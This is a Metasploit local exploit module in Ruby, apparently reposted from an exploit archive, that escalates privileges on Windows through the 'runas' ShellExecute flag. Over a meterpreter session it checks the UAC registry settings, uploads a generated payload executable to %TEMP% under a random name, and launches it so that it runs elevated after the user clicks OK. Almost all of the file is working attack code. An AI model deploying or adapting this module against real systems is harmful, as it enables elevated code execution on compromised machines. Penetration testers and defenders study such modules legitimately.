Windows Escalate UAC Execute RunAs

##
# $Id$
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Local
    Rank = ExcellentRanking
 
    include Post::Common
    include Exploit::EXE
    include Post::File
 
    def initialize(info={})
        super( update_info( info,
            'Name'          => 'Windows Escalate UAC Execute RunAs',
            'Description'   => %q{
                This module will attempt to elevate execution level using
                the ShellExecute undocumented RunAs flag to bypass low
                UAC settings.
            },
            'License'       => MSF_LICENSE,
            'Author'        => [
                    'mubix <mubix[at]hak5.org>' # Port to local exploit
                ],
            'Version'       => '$Revision$',
            'Platform'      => [ 'windows' ],
            'SessionTypes'  => [ 'meterpreter' ],
            'Targets'       => [ [ 'Windows', {} ] ],
            'DefaultTarget' => 0,
            'References'    => [
                [ 'URL', 'http://www.room362.com/blog/2012/1/3/uac-user-assisted-compromise.html' ]
            ],
            'DisclosureDate'=> "Jan 3, 2012"
        ))
 
        register_options([
            OptString.new("FILENAME", [ false, "File name on disk"]),
            OptString.new("PATH", [ false, "Location on disk %TEMP% used if not set" ]),
            OptBool.new("UPLOAD", [ true, "Should the payload be uploaded?", true ])
        ])
 
    end
 
    def exploit
 
        root_key, base_key = session.sys.registry.splitkey("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System")
        open_key = session.sys.registry.open_key(root_key, base_key)
        lua_setting = open_key.query_value('EnableLUA')
 
        if lua_setting.data == 1
            print_status "UAC is Enabled, checking level..."
        else
            print_good "UAC is not enabled, no prompt for the user"
        end
 
        uac_level = open_key.query_value('ConsentPromptBehaviorAdmin')
 
        case uac_level.data
        when 2
            print_status "UAC is set to 'Always Notify'"
            print_status "The user will be prompted, wait for them to click 'Ok'"
        when 5
            print_debug "UAC is set to Default"
            print_debug "The user will be prompted, wait for them to click 'Ok'"
        when 0
            print_good "UAC is not enabled, no prompt for the user"
        end
 
 
        #
        # Generate payload and random names for upload
        #
        payload = generate_payload_exe
 
        if datastore["FILENAME"]
            payload_filename = datastore["FILENAME"]
        else
            payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
        end
 
        if datastore["PATH"]
            payload_path = datastore["PATH"]
        else
            payload_path = session.fs.file.expand_path("%TEMP%")
        end
 
        cmd_location = "#{payload_path}\\#{payload_filename}"
 
        if datastore["UPLOAD"]
            print_status("Uploading #{payload_filename} - #{payload.length} bytes to the filesystem...")
            fd = session.fs.file.new(cmd_location, "wb")
            fd.write(payload)
            fd.close
        end
 
        session.railgun.shell32.ShellExecuteA(nil,"runas",cmd_location,nil,nil,5)
 
    end
end



#  0day.today [2018-03-14]  #